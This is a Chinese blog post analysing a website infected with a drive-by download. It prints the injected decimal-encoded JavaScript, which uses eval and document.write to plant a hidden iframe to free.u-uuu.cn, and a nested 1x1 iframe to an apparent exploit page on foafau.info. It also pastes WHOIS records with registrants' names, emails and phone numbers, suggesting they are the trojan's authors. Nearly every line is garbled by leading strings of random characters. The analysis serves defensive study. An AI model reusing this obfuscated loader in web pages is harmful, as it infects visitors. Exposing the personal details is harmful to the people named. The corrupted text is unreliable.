首发在我的博客里面，
'u#c_m! 9 rDW wu ' http://www.areway.cn/?p=175 XI '.L ~ tXCgRU HGao} @' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
/[qLf:rGI WCYVon bg" <script>t=’60,105,102,114,97,109,101,
+<T361eyY 32,115,114,99,61,104,116,116,112,58,47,47,
<CcSChCg 102,114,101,101,46,117,45,117,117,117,46,99,
hRQw] 110,47,101,114,114,111,114,46,104,116,109,
v =_Ds<6n 32,119,105,100,116,104,61,49,48,48,32,104,
en"\2+{Cg 101,105,103,104,116,61,48,62,60,47,105,102,
cK- jN9U 114,97,109,101,62′;
`.g'bZ<v/ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
V
7oE\cxr jA? 7>"| <script>t=’60,105,102,114,97,109,101,32,115,
yR% l[/ X 114,99,61,104,116,116,112,58,47,47,102,114,
d" =)=hm! 101,101,46,117,45,117,117,117,46,99,110,47,
)GfL?'Z 101,114,114,111,114,46,104,116,109,32,119,
sB*!Nf^y 105,100,116,104,61,49,48,48,32,104,101,105,
`i
vE: 3k 103,104,116,61,48,62,60,47,105,102,114,97,
1j ]vJ4R_\ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
rMoz+{1A document.write(t);</script>
uovSe4q5q * m8{yh <html xmlns=”
$WiU oS http://www.w3.org/1999/xhtml ^KJi |'B “>
A6 I^`0/ <head>
+V9 (4la <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
4nXemU= <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
'Yaq; mDY <title>首页 - 爱生活家庭网
%KPQ|^WE F@KtRUxE 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Gs>4 / 转换字符串后的大概内容是（谁点击后果自付）：
!<<wI '8 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Jsa;pG=3& :(K JLa] 查询玉米u-uuu.cn的详细信息：
5`6U:MDq Domain Name: u-uuu.cn
gL &)l!2Y ROID: 20070901s10001s64972306-cn
e**5_L Domain Status: ok
_Qq lOc9 Registrant Organization: 王雷
q26 qY5D Registrant Name: 王雷
u"F{cA!B Administrative Email:
czlovexs@126.com w0O(> Sponsoring Registrar: 北京万网志成科技有限公司
_&M^}||UH Name Server:ns.yovole.com
yBCLS55 0 Name Server:ns1.yovole.com
U J uz Registration Date: 2007-09-01 17:54
ezA&cZ 5 Expiration Date: 2008-09-01 17:54
,b<m],p 最后PING了一下地址 都没有什么….
mYqLq ezAA A>f rf[fAW 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
.IsOU <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
U1D;O}z~ <script language=”javascript” src=”
Z-L }"~ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script v=daafO >
, =[r6k< 这个玉米应该有可能是木马作者的：
y:Ag mr,S foafau.info的详细信息：
Ih[k{p Access to INFO WHOIS information is provided to assist persons in
PB) vE determining the contents of a domain name registration record in the
E_0i9 Afilias registry database. The data in this record is provided by
~i]4~bkH2 Afilias Limited for informational purposes only, and Afilias does not
s w50lId guarantee its accuracy. This service is intended only for query-based
e35 ")z~ access. You agree that you will use this data only for lawful purposes
%NcBq3 and that, under no circumstances will you use this data to: (a) allow,
braI MIQ` enable, or otherwise support the transmission by e-mail, telephone, or
j>5X^J d facsimile of mass unsolicited, commercial advertising or solicitations
dpT?*qLM to entities other than the data recipient’s own existing customers; or
L lD=c (b) enable high volume, automated, electronic processes that send
[sK'jQo-[1 queries or data to the systems of Registry Operator, a Registrar, or
RSx{Gb d4X Afilias except as reasonably necessary to register domain names or
!/]z-z2> modify existing registrations. All rights reserved. Afilias reserves
y"iK)SH the right to modify these terms at any time. By submitting this query,
4YXp ,U you agree to abide by this policy.
mln%Rd6u/ Domain ID:D22418703-LRMS
S3Fj /2Q8 Domain Name:FOAFAU.INFO
s ~A:*2 \ Created On:20-Nov-2007 16:05:42 UTC
9fYof Last Updated On:20-Nov-2007 16:05:44 UTC
+1K = ]#a Expiration Date:20-Nov-2008 16:05:42 UTC
!FQS9SoO9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
\1e WI Status:CLIENT DELETE PROHIBITED
dFZh1*1 Status:CLIENT RENEW PROHIBITED
z"*3p8N Status:CLIENT TRANSFER PROHIBITED
_y:a Pn Status:CLIENT UPDATE PROHIBITED
\okvL2:! Status:TRANSFER PROHIBITED
t1p[!53( Registrant ID:GODA-040110615
sfp.> bMj Registrant Name:liu hong
Bw.?Me)mf| Registrant Organization:
,nWZJ&B Registrant Street1:beijing
of'H]IZ Registrant Street2:
U%K gLg# Registrant Street3:
.PCbGPbk Registrant City:beijing
miV 8ja V Registrant State/Province:
!
QKec Registrant Postal Code:100000
5*O]`Q7 Registrant Country:CN
Mn*5oH Registrant Phone:+86.860108888777
aW#^@||B Registrant Phone Ext.:
]sqp^tQ`e Registrant FAX:
LAGg(:3 f3 Registrant FAX Ext.:
b~?3HY:t~K Registrant Email:bbbshiji@163.com
C9j5Pd5q1L Admin ID:GODA-240110615
"uBr]N: Admin Name:liu hong
:eBp`dmn Admin Organization:
\wp8 kSzC Admin Street1:beijing
} 7i}dyQv} Admin Street2:
7U - ?Rd Admin Street3:
3 =_to7] Admin City:beijing
1#x@ Admin State/Province:
lgC^32y Admin Postal Code:100000
D7C%Y^K]>E Admin Country:CN
7H. HiyppW Admin Phone:+86.860108888777
6W'2w?qj?4 Admin Phone Ext.:
85](,YYz Admin FAX:
ze uSk| O Admin FAX Ext.:
h[]3# Admin Email:bbbshiji@163.com
lAAP V Billing ID:GODA-340110615
^3nB2G.ax Billing Name:liu hong
6M bMAh5> Billing Organization:
mnH1-}oL
Billing Street1:beijing
:Ek3]`q# Billing Street2:
% %QAC4 Billing Street3:
u]<`y 6=&C Billing City:beijing
Jh%k:TrBm Billing State/Province:
9QkIMJf0e Billing Postal Code:100000
PU%WpI.w Billing Country:CN
{'G u@l Billing Phone:+86.860108888777
;{rl
Y> Billing Phone Ext.:
&_Z8:5e Billing FAX:
=@k 3*#\ Billing FAX Ext.:
P,n:u'Iwy Billing Email:bbbshiji@163.com
`(L <Q % Tech ID:GODA-140110615
e(k$k>? Tech Name:liu hong
BBsZPJ5 Tech Organization:
LESF *rh= Tech Street1:beijing
(z'!' ?v; Tech Street2:
Ec['k&*7, Tech Street3:
3M{b:|3/q Tech City:beijing
Y0 nuwX*{ Tech State/Province:
fQ,(, ^!; Tech Postal Code:100000
<$`ud P@ Tech Country:CN
pl.=u0 * Tech Phone:+86.860108888777
<~Tfi*^+ Tech Phone Ext.:
7@i2Mz/eV Tech FAX:
MM Nz2DEy[ Tech FAX Ext.:
JmVha!<qk Tech Email:bbbshiji@163.com
;%PdSG=U Name Server:NS27.DOMAINCONTROL.COM
B'D 4]EB Name Server:NS28.DOMAINCONTROL.COM
\8S HX Name Server:
WR>2t&;E Name Server:
,DbT4Ul c Name Server:
Vt
U Name Server:
sJYs{Wm Name Server:
JOx""R8T5 Name Server:
2@ f E! Name Server:
:aMp,DfM]P Name Server:
0N3S@l#,\A Name Server:
N+NS \Y5 Name Server:
%i`YJ Name Server:
k x3]A"]>' f%Bm x{Ttq 接着下载每个文件里面的代码：
Hy1f,D 一步一步看..
ACxj Y2 
wB W]w 
PRF^<%mkI 
~ T ALpd 
"G!V? ~ ; 
:#p!&Fi 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
